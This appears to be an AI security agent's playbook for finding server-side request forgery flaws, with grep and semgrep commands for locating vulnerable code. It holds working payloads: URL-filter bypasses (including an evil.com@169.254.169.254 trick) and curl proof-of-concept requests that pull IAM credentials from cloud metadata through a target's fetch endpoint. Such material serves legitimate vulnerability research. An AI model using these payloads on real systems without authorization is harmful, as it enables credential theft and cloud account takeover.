name: ssrf description: Hunt Server-Side Request Forgery (CWE-918) through taint analysis from user-controlled URLs to HTTP client sinks. Covers cloud metadata pivoting, DNS rebinding, gopher smuggling, and the IMDSv1 → IAM role chain that turns SSRF into RCE. metadata: subdomain: web-exploitation when_to_use: "ssrf server side request forgery cwe-918 taint url http client cloud metadata imds dns rebinding gopher smuggling iam role"
SSRF Hunting Playbook
SSRF is one of the highest-yield vuln classes for 0-day work because (a) it's often medium severity in isolation but chains to critical when it reaches cloud metadata, internal admin panels, or unprotected Redis/Elasticsearch, and (b) modern frameworks have dozens of bypass classes that scanners miss.
1. Sources (user-controlled input that becomes a URL)
Look for any parameter that gets fed into an HTTP client:
- Python:
requests.get(user_url),httpx.get,urllib.request.urlopen,aiohttp.get - Node:
fetch(userUrl),axios.get,http.request,got,node-fetch - Java:
HttpURLConnection,HttpClient.send,URL.openConnection,OkHttpClient - Go:
http.Get(u),http.NewRequest,net.Dial("tcp", u) - Ruby:
Net::HTTP.get,URI.open,Faraday.get - PHP:
file_get_contents($url),curl_exec,fsockopen
Grep patterns to run via bash:
semgrep --config p/ssrf /workspace/src --sarif -o /workspace/sem-ssrf.sarif
grep -rE 'requests\.get\(|httpx\.|urllib.*urlopen|fetch\(|axios\.|http\.Get\(|URL\(' /workspace/src
2. Sinks that make SSRF worth reporting
| Sink | Impact |
|---|---|
http://169.254.169.254/ (AWS IMDS) |
IAM role creds → full AWS takeover |
http://metadata.google.internal/ |
GCP service-account token |
http://169.254.169.254/metadata/v1/ |
Azure IMDS |
http://127.0.0.1:6379/ (Redis) |
Unauthenticated RCE via Lua eval / cron |
http://127.0.0.1:9200/ |
Elasticsearch data leak + RCE |
http://127.0.0.1:2375/ |
Docker daemon — container escape |
gopher://, dict://, file:// |
Protocol smuggling (SMTP, memcached) |
Internal *.svc.cluster.local |
Kubernetes service mesh lateral |
3. Bypass classes (why scanners miss real bugs)
- DNS rebinding — resolve to public first, then 127.0.0.1 on second lookup. Look for caches that don't pin IP across the fetch.
- IPv6 literal —
[::1],[::ffff:127.0.0.1],[::] - Decimal / octal / hex encoding —
0x7f.0.0.1,0177.0.0.1,2130706433 - URL parser confusion —
http://evil.com@169.254.169.254/,http://169.254.169.254#.evil.com/ - IDN unicode tricks — homoglyph domains that normalize to metadata hosts
- Redirect chains — allowlist checks the initial URL, not the 302 target
- IMDSv2 required — but if the HTTP client sets a Metadata-Token header on redirect, v2 still leaks
- 30x → file:// — server follows redirects across protocols
4. Taint audit workflow
- Enumerate sources with grep + semgrep (above).
- For each hit, follow the data flow manually:
- Is there a
urlparsecheck? Does it check.hostname(spoofable) or the raw URL (safe)? - Is there an IP allowlist check before or after DNS resolution? (Only before-resolution checks are TOCTOU-safe.)
- Is redirect following disabled?
allow_redirects=Falsein requests.
- Is there a
- Each confirmed source-to-sink path →
kg_add_node(kind="vulnerability", ...). - Link the vuln to its file+line via a code_location node.
5. PoC template
# AWS IMDSv1 leak — copy to clipboard after confirmation
curl -s "https://target.com/api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# → expect role name
curl -s "https://target.com/api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>"
# → expect {AccessKeyId, SecretAccessKey, Token}
Success patterns for validate_finding:
AccessKeyIdSecretAccessKeyToken.*[A-Za-z0-9+/]{100,}
Negative control:
- Same request with the URL param blanked or set to
https://example.com/ - Negative patterns:
Missing url,400,example.com
6. Default CVSS for confirmed SSRF
| Variant | CVSS vector | Score |
|---|---|---|
| Blind SSRF, external only | AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N | 5.3 |
| SSRF → internal services (no pivot) | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N | 7.5 |
| SSRF → cloud metadata → IAM credential | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H | 10.0 |
7. Chain promotion
Once validated, add an enables edge from the SSRF vuln to the adjacent
IAM credential / Redis host / admin panel node. Weight 0.3 for trivial
IMDS chains, 0.6 for bypass-required variants. Then
plan_attack_chains(promote=True) to persist the complete chain.